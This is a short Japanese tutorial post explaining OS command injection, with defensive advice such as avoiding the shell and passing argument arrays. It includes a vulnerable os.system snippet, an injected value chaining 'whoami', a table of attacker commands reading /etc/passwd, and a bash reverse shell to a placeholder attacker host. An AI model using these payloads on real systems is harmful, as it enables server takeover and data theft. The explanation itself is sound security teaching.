Hello there, ('ω')ノ
🔍 OSコマンドインジェクション(Shell Injection)とは?
Webアプリケーションを通じて、サーバ上で任意のOSコマンドを実行できてしまう脆弱性です。
別名「Shell Injection(シェルインジェクション)」とも呼ばれ、非常に危険度が高く、発見された場合はサーバの完全制御を許す恐れがあります。
🧪 どんなケースで発生する?
開発者が以下のようなコードを書いた場合に起こり得ます:
import os os.system("ping " + user_input)
ユーザー入力をコマンドラインにそのままつなげているため、攻撃者が次のような入力をすれば追加コマンドが実行されてしまいます:
127.0.0.1 && whoami
結果として実行されるコマンド:
ping 127.0.0.1 && whoami
→ ping
の後に whoami
(現在のユーザー確認)まで実行されてしまう!
🎯 攻撃者ができること
目的 | コマンド例 |
---|---|
ユーザー確認 | whoami |
ファイル一覧 | ls -la |
パス確認 | pwd |
パスワード盗難 | cat /etc/passwd |
リバースシェル取得 | bash -i >& /dev/tcp/attacker-ip/4444 0>&1 |
🔥 インフラ全体の侵害へ拡大する危険性
- アプリケーションの動作ユーザー権限でOSを操作可能
- 設定ファイルの読み取りや改ざん
- 隣接サーバへのピボット攻撃(横展開)
- クラウド認証情報を含む秘密鍵・トークンの流出
✅ 防御策(開発者向け)
対策 | 内容 |
---|---|
✂️ OSコマンドの呼び出し回避 | 外部コマンドに頼らず、PythonやPHPの機能を使う |
🛡️ 入力のホワイトリスト検証 | 許可された値のみ受け入れる |
🔒 シェルを経由しない | subprocess.run(["ping", user_input]) など引数配列で渡す |
📦 Webアプリを制限された環境で実行 | Dockerコンテナなどで権限を制限する |
💡 まとめ
- OSコマンドインジェクションはWebアプリ経由でサーバを乗っ取る攻撃
- 小さな実装ミスが、大規模な情報漏洩やインフラ侵害につながる
- ユーザー入力を絶対にOSコマンドにそのまま渡さないこと!
Best regards, (^^ゞ